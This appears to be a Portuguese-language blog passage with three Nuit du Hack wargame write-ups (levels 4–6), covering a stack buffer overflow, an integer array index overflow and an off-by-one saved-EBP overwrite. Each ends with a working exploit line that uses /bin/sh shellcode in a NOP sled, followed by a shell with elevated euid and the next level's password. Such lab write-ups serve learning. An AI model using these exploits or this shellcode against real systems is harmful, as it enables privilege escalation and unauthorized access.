Temos na função layer uma verificação para impedir que se coloque acima de 128 no argumento, acontece que o buffer tem 128 bytes, e iso não deixa espaço para o nullbyte, causando um off-by-one error, o strcpr irá sobrescrever o byte menos significativo do ebp-salvo na pilha com o nullbyte, e após uma sequencia de dois leaves(mov $ebp,$esp | pop $ebp) | ret, o esp poderá estar apontando para uma parte do buffer que controlamos no momento da instrução ret e assim ter controle do eip, vamos tentar.


(gdb) r $(perl -e 'print "\xaa" x 128')
Starting program: /home/level6/level6 $(perl -e 'print "\xaa" x 128')

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()
(gdb)

Sucesso! Temos o controle do eip, vamos ver se colocamos um valor especifico e não um monte de 0xaa.


(gdb) r $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32')

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb)

Facil, basta agora colocar o shellcode numa variavel de ambiente e setar o eip para la 😉


$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
$ /tmp/getenv SC
0xbfffffc2
$ ./level6 $(perl -e 'print "\xc2\xff\xff\xbf" x 32')
$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1007(level7),1006(level6)
$ cat /home/level7/passwd
qsf076
$

Done! 😀

Written by m0nad

dezembro 28, 2011 at 11:41 pm

Publicado em C, Segurança, Wargames

Nuit du Hack Level5 – Integer Array Overflow

with 2 comments

Ola pessoal, mais um nivel do ndh, vamos ao source.


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// gcc -o level5 level5.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

void setArray(int frame, int value) {
 int array[32];

 array[frame] = value;
 printf("fill case %d with %d.\n", frame, value);
 return;
}

int main(int argc, char **argv) {
 if (argc != 3)
 printf("syntax: %s [slot] [val]\n", argv[0]);
 else
 setArray(atoi(argv[1]), atoi(argv[2]));
 exit(0);
}

Temos um integer array overflow, podemos controlar o índice do vetor, e assim colocar na posição do eip-salvo, e sobrescrevemos com o que quisermos, vamos tentar no gdb.


(gdb) r 33 $(perl -e 'print 0x11223344')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 $(perl -e 'print 0x11223344')
fill case 33 with 287454020.

Program received signal SIGSEGV, Segmentation fault.
0x11223344 in ?? ()
(gdb)

Sucesso! temos controle do eip, vamos colocar o shellcode numa variável de ambiente e setar o eip para esse endereço.


level5@wargame2k10:~$ export SC=$(perl -e 'print "\x90" x 200 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')

Vamos ver o seu endereço na memoria.


level5@wargame2k10:~$ cat > /tmp/getenv.c
#include <stdlib.h>
#include <stdio.h>
int
main(int argc, char ** argv)
{
 if (argc < 2)
  return 1;
 printf ("%p\n", (unsigned int *)getenv(argv[1]));
 return 0;
}
^C
level5@wargame2k10:~$ gcc -o /tmp/getenv /tmp/getenv.c
level5@wargame2k10:~$ /tmp/getenv SC
0xbffffeaa
level5@wargame2k10:~$

Ok, o shellcode esta em 0xbffffeaa, vamos tentar explorar.


(gdb) r 33 $(perl -e 'print 0xbffffeaa')
Starting program: /home/level5/level5 33 $(perl -e 'print 0xbffffeaa')
fill case 33 with -1073742165.

Program received signal SIGSEGV, Segmentation fault.
0x7fffffff in ?? ()
(gdb)

Não deu certo, o motivo é o valor máximo de um int, vamos inverter os bits e colocar em negativo 🙂


(gdb) r 33 -$(perl -e 'print ~0xbffffeaa')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/level5/level5 33 -$(perl -e 'print ~0xbffffeaa')
 fill case 33 with -1073742165.
 Executing new program: /bin/dash
 $

Shell! 😀 vamos executar fora do gdb para termos os privilegios.


level5@wargame2k10:~$ ./level5 33 -$(perl -e 'print ~0xbffffeaa')
 fill case 33 with -1073742165.
$ id
 uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5)
$ cat /home/level6/passwd
(Uhf(d
$

Next! 🙂

Written by m0nad

dezembro 27, 2011 at 2:53 am

Publicado em C, Segurança, Wargames

Nuit du Hack Level4 – Stack-based Buffer Overflow

leave a comment »

Mais um level do nuit du hack, vamos ler o source.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int checkIdent(char *login, char *pwd)
{
 char buffer[8] = {'\0'};
 int i;

 strcpy(buffer, login);
 buffer[strlen("guest1")] = '\0';

 if(strcmp(buffer, "guest1"))
  return 0;

 strcpy(buffer, pwd);
 buffer[strlen("guest1")] = '\0';

 if(strcmp(buffer, "guest1"))
  return 0;

 return 1;
}

int main(int argc, char *argv[])
{
 if(argc != 3) {
  printf("%s <login> <pass>\n", argv[0]);
  exit(-1);
 }

 if(checkIdent(argv[1], argv[2])) {
  printf("Logged :)\n");
  exit(1);
 }

 printf("Oh noes\n");
 return 0;
}

Vemos 2 strcpy, parece que são overflows simples, vamos abrir no gdb e tentar um segfault.


(gdb) r $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20')
Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()

(gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb)

Legal, controlamos o eip, vamos colocar o shellcode e achar o endereço para pular.


(gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb) x/100x $esp
0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff500: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff510: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff520: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff530: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff540: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff550: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff560: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff570: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff580: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff590: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff600: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff610: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff620: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)

Podemos ver os nops, vamos colocar o eip para bffff4f0 e ver se temos sucesso.

(gdb) r $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
Executing new program: /bin/dash
$

Yahuu, uma shell! Vamos executar fora do gdb para elevarmos os privilegios.


$ /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
$ id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4)
$ cat /home/level5/passwd
fdk45!
$

Problem solved 🙂

Written by m0nad

dezembro 27, 2011 at 2:42 am

Publicado em Assembly, C, Segurança, Wargames